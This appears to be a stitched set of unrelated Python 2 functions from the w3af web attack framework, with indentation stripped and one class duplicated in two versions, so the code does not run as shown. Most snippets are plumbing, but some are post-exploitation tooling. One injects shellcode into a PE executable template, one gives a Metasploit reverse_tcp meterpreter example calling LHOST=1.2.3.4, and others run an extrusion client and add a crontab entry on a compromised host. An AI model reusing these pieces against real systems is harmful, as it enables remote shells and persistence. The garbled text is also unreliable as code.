def _is_in_phishtank(self, to_check):
"""
Reads the phishtank db and tries to match the entries on that db with
the to_check
:return: A list with the sites to match against the phishtank db
"""
try:
# According to different sources, xml.sax knows how to handle
# encoding, so it will simply decode using the header:
#
# <?xml version="1.0" encoding="utf-8"?>
phishtank_db_fd = file(self.PHISHTANK_DB, 'r')
except Exception, e:
msg = 'Failed to open phishtank database: "%s", exception: "%s".'
raise BaseFrameworkException(msg % (self.PHISHTANK_DB, e))
def dump(self):
"""
:return: A string with the complete pe file.
"""
try:
template = file(self._templateFileName, 'r').read()
except Exception as e:
raise BaseFrameworkException(
'Failed to open PE template file. Exception: ' + str(e))
else:
paddingLen = self._maxPayloadLen - len(self._shellcode)
executable = template.replace(
'\x90' * self._maxPayloadLen,
self._shellcode + '\x90' * paddingLen)
return executable
def set_options(self, options_list):
"""
This method sets all the options that are configured using the user
interface generated by the framework using the result of get_options().
:param options_list: A dictionary with the options for the plugin.
:return: No value is returned.
"""
self._listen_address = options_list['listen_address'].get_value()
self._listen_port = options_list['listen_port'].get_value()
self._use_w3af_site = options_list['use_w3af_site'].get_value()
config_ok, config_message = self._correctly_configured()
if not config_ok and not self._use_w3af_site:
raise BaseFrameworkException(self.CONFIG_ERROR_MSG % config_message)
def _cmd_print(self, params):
if not len(params):
raise BaseFrameworkException('Variable is expected')
small_locals = {'kb': kb, 'w3af_core': self._w3af}
small_globals = {}
evalVariable = ' '.join(params)
try:
res = eval(evalVariable, small_globals, small_locals)
except:
om.out.console('Unknown variable.')
else:
pp = pprint.PrettyPrinter(indent=4)
output = pp.pformat(res)
om.out.console(output)
def _check_uri(self, req):
# BUGBUG!
#
# Reason: "unknown url type: javascript" , Exception: "<urlopen error unknown url type: javascript>"; going to retry.
# Too many retries when trying to get: http://localhost/w3af/global_redirect/2.php?url=javascript%3Aalert
#
###TODO: The problem is that the urllib2 library fails even if i do this
# tests, it fails if it finds javascript: in some part of the URL
if req.get_full_url().startswith('http'):
return True
elif req.get_full_url().startswith('javascript:') or \
req.get_full_url().startswith('mailto:'):
raise BaseFrameworkException('Unsupported URL: ' +
req.get_full_url())
else:
return False
def set_cookie(self, cookie):
"""
:param cookie: A Cookie object as defined in core.data.dc.cookie,
or a string.
"""
if isinstance(cookie, Cookie):
self._cookie = cookie
elif isinstance(cookie, basestring):
self._cookie = Cookie(cookie)
elif cookie is None:
self._cookie = Cookie()
else:
fmt = '[FuzzableRequest error] set_cookie received: "%s": "%s".'
error_str = fmt % (type(cookie), repr(cookie))
om.out.error(error_str)
raise BaseFrameworkException(error_str)
def run(self, user_defined_parameters):
"""
This is the entry point. We get here when the user runs the
"payload vdaemon linux/x86/meterpreter/reverse_tcp" command in his w3af
shell after exploiting a vulnerability.
:param user_defined_parameters: The parameters defined by the user, for
example, the type of payload to send.
:return: True if we succeded.
"""
#
# We follow the same order as MSF, but we only allow the user to
# generate executable files
#
# Usage: /opt/metasploit3/msf3/msfpayload <payload> [var=val] ...
#
msg = 'IMPORTANT:\n'
msg += ' You need to specify the payload type in MSF format as if you '
msg += 'were calling msfpayload: \n'
msg += ' linux/x86/meterpreter/reverse_tcp LHOST=1.2.3.4\n'
msg += ' And then add a pipe ("|") to add the msfcli parameters for '
msg += 'handling the incoming connection (in the case of a reverse '
msg += 'shell) or connect to the remote server.\n'
msg += ' A complete example looks like this:\n'
msg += ' linux/x86/meterpreter/reverse_tcp LHOST=1.2.3.4 | exploit/multi/handler PAYLOAD=linux/x86/meterpreter/reverse_tcp LHOST=1.2.3.4 E'
if '|' not in user_defined_parameters:
raise ValueError(msg)
msfpayload_parameters = user_defined_parameters[:
user_defined_parameters.index('|')]
msfcli_parameters = user_defined_parameters[
user_defined_parameters.index('|') + 1:]
payload = msfpayload_parameters[0]
msfpayload_parameters = msfpayload_parameters[1:]
msfcli_handler = msfcli_parameters[0]
msfcli_parameters = msfcli_parameters[1:]
try:
executable_file_name = self._generate_exe(payload,
msfpayload_parameters)
except Exception, e:
raise BaseFrameworkException(
'Failed to create the payload file, error: "%s".' % str(e))
class xml_file(OutputPlugin):
"""
Print all messages to a xml file.
:author: Kevin Denver ( [email protected] )
"""
XML_OUTPUT_VERSION = '2.1'
def __init__(self):
OutputPlugin.__init__(self)
# These attributes hold the file pointers
self._file = None
# User configured parameters
self._file_name = '~/report.xml'
self._timestamp = str(int(time.time()))
self._long_timestamp = str(time.strftime(TIME_FORMAT,
time.localtime()))
# Set defaults for scan metadata
self._plugins_dict = {}
self._options_dict = {}
# List with additional xml elements
self._errors = DiskList()
# xml document that helps with the creation of new elements
# this is an empty document until we want to write to the
# output file, where we populate it, serialize it to the file,
# and empty it again
self._xml = None
def _open_file(self):
self._file_name = os.path.expanduser(self._file_name)
try:
self._file = open(self._file_name, 'w')
except IOError, io:
msg = 'Can\'t open report file "%s" for writing, error: %s.'
args = (os.path.abspath(self._file_name), io.strerror)
raise BaseFrameworkException(msg % args)
except Exception, e:
msg = 'Can\'t open report file "%s" for writing, error: %s.'
args = (os.path.abspath(self._file_name), e)
raise BaseFrameworkException(msg % args)
class text_file(OutputPlugin):
"""
Prints all messages to a text file.
:author: Andres Riancho ([email protected])
"""
def __init__(self):
OutputPlugin.__init__(self)
# User configured parameters
self._output_file_name = '~/output.txt'
self._http_file_name = '~/output-http.txt'
self.verbose = True
# Internal variables
self._flush_counter = 0
self._flush_number = 10
self._initialized = False
# File handlers
self._file = None
self._http = None
# XXX Only set '_show_caller' to True for debugging purposes. It
# causes the execution of potentially slow code that handles
# with introspection.
self._show_caller = False
def _init(self):
self._initialized = True
self._output_file_name = os.path.expanduser(self._output_file_name)
self._http_file_name = os.path.expanduser(self._http_file_name)
try:
self._file = open(self._output_file_name, "w")
except IOError, io:
msg = 'Can\'t open report file "%s" for writing, error: %s.'
raise BaseFrameworkException(msg % (os.path.abspath(self._output_file_name),
io.strerror))
except Exception, e:
msg = 'Can\'t open report file "%s" for writing, error: %s.'
raise BaseFrameworkException(
msg % (os.path.abspath(self._output_file_name), e))
def _enablePlugins(self, list):
enabled = copy.copy(self._w3af.plugins.get_enabled_plugins(self._name))
for plugin in list:
if plugin == '':
continue
if plugin.startswith('!'):
disabling = True
plugin = plugin.lstrip('!')
else:
disabling = False
if plugin != 'all' and plugin not in self._plugins:
raise BaseFrameworkException("Unknown plugin: '%s'" % plugin)
if disabling:
if plugin == 'all':
enabled = []
elif plugin in enabled:
enabled.remove(plugin)
elif plugin == 'all':
enabled = self._plugins.keys()
elif plugin not in enabled:
enabled.append(plugin)
# Note: Disabling this check after talking with olle. Only advanced users
# are going to remove the console output plugin, and if someone
# else does, he will realize that he f****d up ;)
#
#if self._name == 'output' and 'console' not in enabled:
# om.out.console("You can't disable the console output plugin")
# enabled.append('console')
#
# What I'm going to do, is to let the user know that he's going into
# blind mode:
#
if self._name == 'output' and 'console' not in enabled and \
len(enabled) == 0:
msg = "\nWarning: You disabled the console output plugin. If you"\
" start a new scan, the discovered vulnerabilities won\'t be"\
" printed to the console, we advise you to enable at least"\
" one output plugin in order to be able to actually see the"\
" the scan output."
om.out.console(msg)
self._w3af.plugins.set_plugins(enabled, self._name)
def get_n_results(self, query, limit=0):
"""
Return a list of URLs ; that represent the result to all the search.
"""
start = 0
result = set()
while True:
try:
search_results = self.search(query, start, 10)
except BaseFrameworkException, w3:
om.out.debug(str(w3))
raise
except Exception as e:
msg = 'An unhandled exception was found in ' \
'search_engines.SearchEngine.search(): "%s"' % str(e)
om.out.error(msg)
raise BaseFrameworkException(msg)
def get_methodParams(self, methodName):
"""
@methodName: The method name
:return: The soap action.
"""
if not methodName in self._proxy.methods.keys():
raise BaseFrameworkException('Unknown method name.')
else:
res = []
inps = self._proxy.methods[methodName].inparams
for param in xrange(len(inps)):
details = inps[param]
parameterObject = parameter()
parameterObject.set_name(str(details.name))
parameterObject.set_type(str(details.type[1]))
parameterObject.set_ns(str(details.type[0]))
res.append(parameterObject)
return res
class xml_file(OutputPlugin):
"""
Print all messages to a xml file.
:author: Andres Riancho ([email protected])
"""
XML_OUTPUT_VERSION = '2.2'
def __init__(self):
OutputPlugin.__init__(self)
# These attributes hold the file pointers
self._file = None
# User configured parameters
self._file_name = '~/report.xml'
self._timestamp = str(int(time.time()))
self._long_timestamp = str(time.strftime(TIME_FORMAT,
time.localtime()))
# Set defaults for scan metadata
self._plugins_dict = {}
self._options_dict = {}
# Keep internal state
self._is_working = False
self._jinja2_env = self._get_jinja2_env()
# List with additional xml elements
self._errors = DiskList()
def _open_file(self):
self._file_name = os.path.expanduser(self._file_name)
try:
self._file = open(self._file_name, 'wb')
except IOError, io:
msg = 'Can\'t open report file "%s" for writing, error: %s.'
args = (os.path.abspath(self._file_name), io.strerror)
raise BaseFrameworkException(msg % args)
except Exception, e:
msg = 'Can\'t open report file "%s" for writing, error: %s.'
args = (os.path.abspath(self._file_name), e)
raise BaseFrameworkException(msg % args)
def get_document_parser_for(self, http_response):
"""
Get a document parser for http_response
This parses the http_response in a pool worker. This method has two
features:
* We can kill the worker if the parser is taking too long
* We can have different parsers
:param http_response: The http response instance
:return: An instance of DocumentParser
"""
# Start the worker processes if needed
self.start_workers()
hash_string = get_request_unique_id(http_response, prepend='parser')
apply_args = (process_document_parser,
http_response,
self._processes,
hash_string,
self.DEBUG)
# Push the task to the workers
result = self._pool.apply_async(apply_with_return_error, (apply_args,))
try:
parser_output = result.get(timeout=self.PARSER_TIMEOUT)
except multiprocessing.TimeoutError:
self._kill_parser_process(hash_string, http_response)
# Act just like when there is no parser
msg = 'There is no parser for "%s".' % http_response.get_url()
raise BaseFrameworkException(msg)
else:
if isinstance(parser_output, Error):
parser_output.reraise()
finally:
# Just remove it so it doesn't use memory
self._processes.pop(hash_string, None)
return parser_output
def get_urls_from_target(self, options_list):
"""
Parse the user's input to extract the URLs
:param options_list: The user configuration
:return: A list with target URLs
"""
configured_target_urls = options_list['target'].get_value()
target_urls = []
for target_url in configured_target_urls:
self._verify_url(target_url)
if not target_url.url_string.count('file:///'):
# It's a common URL just like http://w3af.com/
target_urls.append(target_url)
else:
try:
f = urllib2.urlopen(target_url.url_string)
except:
msg = 'Cannot open target file: "%s"'
raise BaseFrameworkException(msg % str(target_url))
else:
for line in f:
target_in_file = line.strip()
# Empty lines are allowed
if not target_in_file:
continue
# Comments starting with # are allowed too
if target_in_file.startswith('#'):
continue
target_in_file_inst = URL(target_in_file)
self._verify_url(target_in_file_inst,
file_target=False)
target_urls.append(target_in_file_inst)
f.close()
return target_urls
def _parse_http_response_in_worker(self, http_response, hash_string):
"""
This parses the http_response in a pool worker. This has two features:
* We can kill the worker if the parser is taking too long
* We can have different parsers
:return: The DocumentParser instance
"""
event = multiprocessing.Event()
self._parser_finished_events[hash_string] = event
# Start the worker processes if needed
self.start_workers()
apply_args = (ProcessDocumentParser, http_response, self._processes,
hash_string)
# Push the task to the workers
result = self._pool.apply_async(apply_with_return_error,
(apply_args, ))
try:
parser_output = result.get(timeout=self.PARSER_TIMEOUT)
except multiprocessing.TimeoutError:
# Near the timeout error, so we make sure that the pid is still
# running our "buggy" input
pid = self._processes.pop(hash_string, None)
if pid is not None:
try:
os.kill(pid, signal.SIGTERM)
except OSError, ose:
msg = 'An error occurred while killing the parser' \
' process: "%s"'
om.out.debug(msg % ose)
msg = '[timeout] The parser took more than %s seconds'\
' to complete parsing of "%s", killed it!'
om.out.debug(msg % (self.PARSER_TIMEOUT, http_response.get_url()))
# Act just like when there is no parser
msg = 'There is no parser for "%s".' % http_response.get_url()
raise BaseFrameworkException(msg)
def _cmd_set(self, params):
if len(params) < 2:
om.out.console('Invalid call to set, please see the help:')
self._cmd_help(['set'])
if params[0] not in self._options:
raise BaseFrameworkException('Unknown option: "%s".' % params[0])
name = params[0]
value = ' '.join(params[1:])
# This set_value might raise a BaseFrameworkException, for example this
# might happen when the configuration parameter is an integer and
# the user sets it to 'abc'
try:
self._options[name].set_value(value)
self._unsaved_options[name] = value
except BaseFrameworkException, e:
om.out.error(str(e))
def _get_real_profile_path(self, profilename, workdir):
"""
Return the complete path for `profilename`.
@raise BaseFrameworkException: If no existing profile file is found this
exception is raised with the proper desc
message.
>>> p = profile()
>>> p._get_real_profile_path('OWASP_TOP10', '.')
'./profiles/OWASP_TOP10.pw3af'
"""
# Alias for os.path. Minor optimization
ospath = os.path
pathexists = os.path.exists
# Add extension if necessary
if not profilename.endswith('.pw3af'):
profilename += '.pw3af'
if pathexists(profilename):
return profilename
# Let's try to find it in the workdir directory.
if workdir is not None:
tmp_path = ospath.join(workdir, profilename)
if pathexists(tmp_path):
return tmp_path
# Let's try to find it in the "profiles" directory inside workdir
if workdir is not None:
tmp_path = ospath.join(workdir, 'profiles', profilename)
if pathexists(tmp_path):
return tmp_path
if not ospath.isabs(profilename):
tmp_path = ospath.join(get_home_dir(), 'profiles', profilename)
if pathexists(tmp_path):
return tmp_path
raise BaseFrameworkException('The profile "%s" wasn\'t found.' %
profilename)
def _execExtrusionClient(self, interpreter, remoteFilename):
local_address = cf.cf.get('local_ip_address')
if local_address is None:
raise Exception(
'Invalid environment: no local address found in cf.')
cmd_fmt = '%s %s %s %s %s'
cmd = cmd_fmt % (interpreter, remoteFilename, local_address, ','.join([
str(x) for x in self._tcp_port_list
]), ','.join([str(x) for x in self._udp_port_list]))
res = self._exec(cmd)
if 'OK.' not in res:
raise BaseFrameworkException(
'The extrusion client failed to execute.')
else:
om.out.debug('The extrusion client run as expected.')
def factory(module_name, *args):
"""
This function creates an instance of a class thats inside a module
with the same name.
Example :
>>> spider = factory( 'w3af.plugins.crawl.google_spider' )
>>> spider.get_name()
'google_spider'
:param module_name: Which plugin do you need?
:return: An instance.
"""
try:
__import__(module_name)
except ImportError, ie:
msg = 'There was an error while importing %s: "%s".'
raise BaseFrameworkException(msg % (module_name, ie))
def _cmd_save(self, tokens):
try:
for unsaved_opt_name, unsaved_val in self._unsaved_options.iteritems(
):
self._options[unsaved_opt_name].set_value(unsaved_val)
# Save the options using the corresponding setter
self._configurable.set_options(self._options)
if isinstance(self._configurable, Plugin):
self._w3af.plugins.set_plugin_options(
self._configurable.get_type(),
self._configurable.get_name(), self._options)
except BaseFrameworkException, e:
msg = 'Identified an error with the user-defined settings:\n\n' \
' - %s \n\n' \
'No information has been saved.'
raise BaseFrameworkException(msg % e)
def _verify_url(self, target_url, file_target=True):
"""
Verify if the URL is valid and raise an exception if w3af doesn't
support it.
:param target_url: The target URL object to check if its valid or not.
:return: None. A BaseFrameworkException is raised on error.
"""
protocol = target_url.get_protocol()
is_file = file_target and protocol == 'file'
is_http = protocol in ('http', 'https') and target_url.is_valid_domain()
if not is_file and not is_http:
msg = ('Invalid format for target URL "%s", you have to specify '
'the protocol (http/https/file) and a domain or IP address.'
' Examples: http://host.tld/ ; https://127.0.0.1/ .')
raise BaseFrameworkException(msg % target_url)
return True
def send_raw_request(self, orig_fuzzable_req, head, postdata):
# the handler is polling this dict and will extract the information
# from it and then send it to the remote web server
self._edited_requests[id(orig_fuzzable_req)] = (head, postdata)
# Loop until I get the data from the remote web server
for i in xrange(60):
time.sleep(0.1)
if id(orig_fuzzable_req) in self._edited_responses:
res = self._edited_responses[id(orig_fuzzable_req)]
del self._edited_responses[id(orig_fuzzable_req)]
# Now we return it...
if isinstance(res, Exception):
raise res
else:
return res
# I looped and got nothing!
raise BaseFrameworkException(
'Timed out waiting for response from remote server.')
def set_options(self, options_list):
"""
This method sets all the options that are configured using the user interface
generated by the framework using the result of get_options().
:param options_list: A dictionary with the options for the plugin.
:return: No value is returned.
"""
url = options_list['remote_url_path'].get_value()
self._remote_url_path = url.get_domain_path()
local_dir = options_list['local_dir'].get_value()
if os.path.isdir(local_dir):
self._local_dir = local_dir
else:
msg = 'Error in user configuration: "%s" is not a directory.'
raise BaseFrameworkException(msg % local_dir)
self._content = options_list['content'].get_value()
self._ban_url = options_list['banned_ext'].get_value()
def sniff_and_analyze(self):
"""
Performs the sniffing
"""
# Create the filter
all_ports = self._tcp_ports[:]
all_ports.extend(self._udp_ports)
all_ports = list(set(all_ports))
filter = ' or '.join(['port ' + str(p) for p in all_ports])
om.out.information('ExtrusionServer listening on interface: ' +
self._iface)
self._sniffing = True
try:
packets = sniff(filter=filter, iface=self._iface, timeout=5)
except socket.error, e:
msg = 'Failed to sniff on interface: ' + self._iface
msg += '. Hints: Are you root? Does this interface exist?'
om.out.error(msg)
raise BaseFrameworkException(msg)
def _delayedExecution(self, command):
dexecf = delayedExecutionFactory(self._exec_method)
dH = dexecf.get_delayed_execution_handler()
if not dH.can_delay():
msg = '[w3afAgentManager] Failed to create cron entry.'
om.out.debug(msg)
raise BaseFrameworkException(msg)
else:
wait_time = dH.add_to_schedule(command)
om.out.debug(
'[w3afAgentManager] Crontab entry successfully added.')
wait_time += 2
om.out.information('Please wait ' + str(wait_time) +
' seconds for w3afAgentClient execution.')
time.sleep(wait_time)
om.out.debug('[w3afAgentManager] Restoring old crontab.')
dH.restore_old_schedule()
def _send_requests(self, fuzzable_request):
"""
Actually send the requests that might be blocked.
:param fuzzable_request: The FuzzableRequest to modify in order to
see if it's blocked
"""
rnd_param = rand_alnum(7)
rnd_value = rand_alnum(7)
fmt = '%s?%s=%s'
original_url_str = fmt % (fuzzable_request.get_url(), rnd_param,
rnd_value)
original_url = URL(original_url_str)
try:
http_resp = self._uri_opener.GET(original_url, cache=True)
except BaseFrameworkException, bfe:
msg = 'Active filter detection plugin failed to receive a' \
' response for the first request. The exception was: "%s".' \
' Can not perform analysis.'
raise BaseFrameworkException(msg % bfe)
def execute(self, tokens):
if len(tokens) == 0:
return self
command, params = tokens[0], tokens[1:]
handler = self.get_handler(command)
if handler:
return handler(params)
children = self.get_children()
if command in children:
child = children[command]
child.set_child_call(True)
try:
return child.execute(params)
finally:
child.set_child_call(False)
raise BaseFrameworkException("Unknown command '%s'" % command)
def _parse_xml(self, http_response, file_name, base_url):
om.out.debug('Parsing xml file with xml.dot.minidom.')
try:
dom = xml.dom.minidom.parseString(http_response.get_body())
except:
msg = 'Error while parsing "%s"'
raise BaseFrameworkException(msg % file_name)
else:
raw_url_list = dom.getElementsByTagName("ObjLink")
parsed_url_list = []
for url in raw_url_list:
try:
url = url.childNodes[0].data
url = base_url.url_join(url)
except ValueError, ve:
msg = '"%s" file had an invalid URL "%s"'
om.out.debug(msg % (file_name, ve))
except:
msg = '"%s" file had an invalid format'
def crawl(self, fuzzable_request):
"""
:param fuzzable_request: A fuzzable_request instance that contains
(among other things) the URL to test.
"""
bing_se = bing(self._uri_opener)
domain = fuzzable_request.get_url().get_domain()
if is_private_site(domain):
msg = 'There is no point in searching Bing for "site:%s".'\
' Bing doesn\'t index private pages.'
raise BaseFrameworkException(msg % domain)
try:
results = bing_se.get_n_results('site:' + domain, self._result_limit)
except:
pass
else:
self.worker_pool.map(self.http_get_and_parse,
[r.URL for r in results])
